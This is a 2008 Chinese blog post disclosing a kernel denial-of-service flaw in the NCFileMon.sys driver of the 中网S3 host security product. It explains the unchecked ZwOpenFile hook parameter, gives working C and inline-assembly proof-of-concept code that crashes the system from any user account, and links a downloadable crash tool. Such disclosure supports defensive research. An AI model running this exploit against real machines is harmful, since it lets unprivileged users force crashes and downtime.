百度空间 | 百度首页 
 
查看文章
 
中网S3主机安全系统2008版本3.5.0.2(及以下)多处内核拒绝服务漏洞
2008-10-02 02:00

中网S3是一款号称4D & 4M齐全的防火墙、HIDS/HIPS软件

其最新版本3.5.0.2及以下所有版本的驱动程序存在多出内核拒绝服务漏洞,可使任何权限用户在安装了中网S3的系统上引发蓝屏

出问题的组件(已验证版本):NCFileMon.sys ,版本:5.2.3700.0(囧) , CheckSum = 0x00036d61,TimeStamp = 0x46f774e2

驱动中对于SSDT部分函数的inline hook存在参数检查不严格的问题,用户态传入错误参数即可导致驱动出错,引发系统崩溃,蓝屏重启。

示例函数: hk_ZwOpenFile

验证版本函数偏移量:0x97f6

ZwOpenFile的原型是:

NTSTATUS
ZwOpenFile(
    __out PHANDLE FileHandle,
    __in ACCESS_MASK DesiredAccess,
    __in POBJECT_ATTRIBUTES ObjectAttributes,
    __out PIO_STATUS_BLOCK IoStatusBlock,
    __in ULONG ShareAccess,
    __in ULONG OpenOptions
    )

该HOOK函数对于第三个参数ObjectAttributes->ObjectName->Buffer未作有效性验证,只判断了是否为空。另外,由于该HOOK函数体内有结构化异常处理,但是该处理机制只对用户模式地址访问异常有效,因此我们构造错误的内核地址参数,即可引发蓝屏

测试代码:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwOpenFile");

OBJECT_ATTRIBUTES oba ;
UNICODE_STRING strname ;
strname.Buffer = (PWSTR)0x80000000 ;

oba.ObjectName = &strname ;

IO_STATUS_BLOCK iosb ;
HANDLE hfile ;


__asm{

   push 0
   push 0
   lea eax , iosb
   push eax
   lea eax,oba
   push eax
   push 0x40000000 //set access mask to bypass S3 's check
   lea eax,hfile
   push eax
   call p

}

用户态任意权限的程序运行此代码后,即可引发系统蓝屏重启

测试程序下载:http://mj0011.ys168.com ,漏洞演示目录下 :BSOD_ncS3.rar

另外,S3中验证缓存有效性的方法存在一定问题,虽然较难由用户态主动触发,但有一定引发蓝屏的几率,另外,其校验方法也比正规的参数校验方法消耗更多的CPU时间,因此安装了中网S3主机安全系统的机器可能会有较大程度的非必要性能降低


类别:默认分类 | 添加到搜藏 | 浏览() | 评论 (2)
 
最近读者:
 
网友评论:
1
2008-10-02 14:34 | 回复
坐个沙发啦 哈哈~
 
2
2008-10-08 02:02 | 回复
S3以前用过,感觉还好。
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu